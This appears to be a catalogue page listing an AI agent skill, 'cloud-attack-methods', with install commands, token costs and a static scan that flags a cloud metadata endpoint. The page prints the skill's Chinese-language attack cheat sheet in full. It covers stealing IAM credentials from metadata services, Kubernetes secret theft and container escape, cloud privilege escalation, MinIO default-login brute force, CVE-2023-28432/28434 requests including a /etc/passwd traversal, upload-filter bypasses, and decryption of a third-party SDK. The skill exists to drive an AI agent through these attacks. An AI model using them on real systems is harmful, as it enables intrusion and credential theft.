CyberStrikeAI is a security operations workspace that turns natural-language plans into governed, auditable actions while recording evidence and results for later reuse. Authorized security teams use it to manage agents, tools, vulnerabilities, knowledge, and attack-chain analysis. Catalogue add-ons provide agent and skill workflows for working with the platform.
Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx agentmods add skills/ed1s0nz/cyberstrikeai/cloud-attack-methodsnpx skills add Ed1s0nZ/CyberStrikeAI --skill cloud-attack-methodsgit clone --depth 1 https://github.com/Ed1s0nZ/CyberStrikeAIWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/ed1s0nz/cyberstrikeai/cloud-attack-methods)<a href="https://agentmods.dev/skills/ed1s0nz/cyberstrikeai/cloud-attack-methods"><img src="https://agentmods.dev/badge/skills/ed1s0nz/cyberstrikeai/cloud-attack-methods.svg" alt="Measured on agentmods" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5 | $0.00068 | $0.01219 |
| Opus 5 | $0.00034 | $0.00609 |
| Sonnet 5 | $0.00014 | $0.00244 |
| Haiku 4.5 | $0.00007 | $0.00122 |
Grade C, and why
cloud-attack-methods scanned grade C with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 5d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Cloud metadata endpointhighServer-side request forgery
One request to 169.254.169.254 can return temporary IAM credentials.
元数据API: AWS 169.254.169.254/latest/meta-data/iam/ | Azure -H Metadata:true | GCP metadata.google.internal | 阿里云100.100.100.200 What it actually says
云攻击手法
=== 云 ===
元数据API: AWS 169.254.169.254/latest/meta-data/iam/ | Azure -H Metadata:true | GCP metadata.google.internal | 阿里云100.100.100.200
对象存储: aws s3 ls --no-sign-request | K8s: /var/run/secrets/.../token → api/v1拿secrets/exec pods → cluster-admin
🚨云身份攻击(拿到key/token后的提权横向):
AWS: enumerate-iam/cloudfox/ScoutSuite枚举权限 → pacu自动找privesc(iam:PassRole+lambda/ec2/glue等18+条) | STS AssumeRole跨账户 | Lambda环境变量偷密钥
Azure/Entra: roadtools(roadrecon dump租户)/AADInternals | 设备码/刷新令牌 | Managed Identity IMDS偷token | Automation Runbook RCE | Key Vault读密钥
Entra后渗透: GraphRunner(Graph API枚举/搜邮件/加后门App) | 服务主体加凭据(隐蔽持久化) | 动态组滥用 | PRT偷取横向
GCP: 服务账户token(metadata) | serviceAccountTokenCreator/actAs提权 | gcloud枚举
🚨K8s深入(拿到集群网络/pod): kubelet 10250未授权(/pods列举,/exec进任意容器) | etcd 2379无认证读全secrets | API Server匿名 | RBAC过权SA(kubectl auth can-i --list) | 特权pod挂宿主逃逸 | 云K8s抢node身份→IMDS
🚨MinIO攻击矩阵:
指纹: Server: MinIO | /minio/health/live → 200(空body) | /minio/health/cluster → 200 | 9000(API)+9001(Console)
Console爆破: POST http://IP:9001/api/v1/login body={"accessKey":"minioadmin","secretKey":"minioadmin"} | 403="invalid Login"
STS API: POST /?Action=AssumeRoleWithWebIdentity&Version=2011-06-15&WebIdentityToken=JWT → 需JWT provider配置
CVE-2023-28432: POST /minio/health/cluster?verify (信息泄露,返回环境变量含MINIO_SECRET_KEY)
CVE-2023-28434: 路径穿越 /bucket/..%2F..%2Fetc/passwd → XMinioInvalidResourceName(已修补则不可用)
匿名访问: GET /bucket-name/ → ListBucket(200)=匿名读 | PUT /bucket/file → AccessDenied(403)=匿名写被禁
上传绕过: 应用层sign验证dir参数但不校验→可写任意bucket(sign只校验cid+et+og不含dir)
扩展名绕过: .jsp;.jpg / .jsp%00.jpg 过应用黑名单但MinIO存储为静态文件(image/jpeg)不执行
🚨阿里云FC函数(fcapp.run)枚举:
识别: URL含 *.cn-{region}.fcapp.run → 阿里云函数计算(Serverless)
特征: POST返回"unauthorized method 'POST'"(405) = 只接受GET | 200+{"code":200,"msg":"Forbidden"} = 路径存在但缺参数
利用: GET /{path}/{id}.html → 302重定向泄露真实CDN域名+auth_key签名URL(暴露CDN域名/bucket结构/签名算法)
枚举: 不同路径前缀对应不同APP(/mkzavakx/ vs /kpqwbcoq/) | 无效ID→302到qzone.qq.com/404.html(fallback)
路径穿越: FC正确规范化(../无效),但可枚举不同function路径
CDN auth_key(昆仑CDN kunlunaq.com): format=timestamp-rand-uid-md5(uri-timestamp-rand-uid-privatekey) → 破解需privatekey | x-tengine-error暴露"denied by req auth"
FC→CDN链路: FC函数生成签名URL→kunlun/kijwsks.com CDN下载 | referer伪装百度(mo.baidu.com)
🚨橙子建站(ChengZi SDK)解密:
初始化: POST https://random.d3504.cn/init3 body={appkey,channelCode,...} → 加密响应(base64)
解密: 单字节XOR key=0x96 → JSON(channelCode/fu下载URL/csu跟踪URL/ph安装包hash)
d3504.cn通过Cloudflare+阿里云DDoS防护(aliyunddos)+昆仑CDN(kunlunaq.com) → 多层防护
关键: fu字段=真实APK下载FC函数URL(可能与落地页不同region!) | csu=点击跟踪回调URL
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 5d ago First seen · 44 lines · 68 tokens per session scan C aa3dad211787
cloud-attack-methods is a skill published in the GitHub repository Ed1s0nZ/CyberStrikeAI (6,381 stars, last pushed 9d ago), licensed Apache-2.0. It adds 68 tokens to every session and 1,219 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it C with 1 finding (cloud metadata endpoint). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.
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